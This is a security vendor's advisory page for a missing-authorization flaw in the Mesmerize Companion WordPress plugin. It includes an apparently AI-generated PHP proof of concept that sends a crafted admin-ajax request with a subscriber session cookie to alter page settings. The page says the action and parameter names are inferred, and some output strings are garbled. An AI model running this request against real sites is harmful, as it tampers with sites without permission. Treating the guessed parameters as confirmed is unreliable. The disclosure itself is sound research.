Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12027: Mesmerize Companion <= 1.6.158 – Missing Authorization Authenticated (Subscriber+) Settings Update (mesmerize-companion)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.6.158
Patched Version
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12027 (metadata-based):
This vulnerability is a missing authorization flaw in the Mesmerize Companion WordPress plugin, affecting versions up to and including 1.6.158. The flaw allows any authenticated user, including those with the low-privilege subscriber role, to modify page settings and metadata when the Mesmerize theme is active. The CVSS score of 4.3 (Medium) reflects a low integrity impact with no confidentiality or availability loss.

Atomic Edge research identifies the root cause as a missing capability check on the `openPageInCustomizer` and `openPageInDefaultEditor` functions. The CWE-862 classification confirms the absence of a proper authorization mechanism before performing sensitive actions. Without access to the source code diff, this conclusion is inferred from the CWE and the vulnerability description. The plugin likely registers these functions as AJAX handlers or admin-post actions without verifying the user has the `edit_posts` or `edit_pages` capability.

Exploitation requires an authenticated session. An attacker with subscriber credentials sends a crafted POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`). The request targets the vulnerable action, which Atomic Edge infers is named `mesmerize_companion_open_page_in_customizer` or a similar variant based on the plugin slug and function names. The payload includes parameters like `page_id` to target an arbitrary page and likely a `template` or `editor` flag to modify the metadata. No nonce check is present, as its absence is part of the vulnerability.

The remediation in version 1.6.162 likely added proper capability checks using `current_user_can()` within the vulnerable functions. The patch also likely introduced nonce verification for the AJAX requests to prevent CSRF. These are standard fixes for missing authorization vulnerabilities in WordPress plugins and are inferred from the CWE and common patching patterns.

Successful exploitation impacts data integrity. Attackers can mark arbitrary pages as maintainable, wrap page content in custom sections, alter page template metadata, and toggle the default editor flag. This could disrupt site layout, break page functionality, or create inconsistencies in the page management interface. The vulnerability does not lead to privilege escalation, remote code execution, or direct data exposure.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12027 - Mesmerize Companion <= 1.6.158 - Missing Authorization Authenticated (Subscriber+) Settings Update
<?php
/**
 * Proof-of-Concept for CVE-2025-12027.
 * Assumptions based on metadata:
 * 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
 * 2. The AJAX action is derived from the function name 'openPageInCustomizer'.
 *    Common WordPress pattern: 'wp_ajax_{action}' hook, with action being 'mesmerize_companion_open_page_in_customizer'.
 * 3. The attack requires a valid low-privilege (subscriber) WordPress session cookie.
 * 4. The 'page_id' parameter is required to target a specific page.
 * 5. No nonce or capability check is present.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$cookie = 'wordpress_logged_in_abc=...'; // CHANGE THIS: Valid subscriber session cookie

// Target page ID (must exist on the site)
$page_id = 1;

// Prepare the POST data for the inferred AJAX action.
$post_fields = [
    'action' => 'mesmerize_companion_open_page_in_customizer', // Inferred action name
    'page_id' => $page_id,
    // The description mentions toggling a default editor flag and marking as maintainable.
    // Specific parameter names are unknown; 'editor' and 'maintainable' are plausible.
    'editor' => 'default', // or 'customizer'
    'maintainable' => 'true'
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie
]);

// Execute and analyze response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploitation might return a '1' or a JSON success message.
// Check if the response indicates the page metadata was updated.
if ($http_code === 200 && (strpos($response, '1') !== false || strpos($response, 'success') !== false)) {
    echo "[+] Potential exploitation successful. Page $page_id settings may have been modified.n";
} else {
    echo "[-] Exploitation may have failed or the inferred parameters are incorrect.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School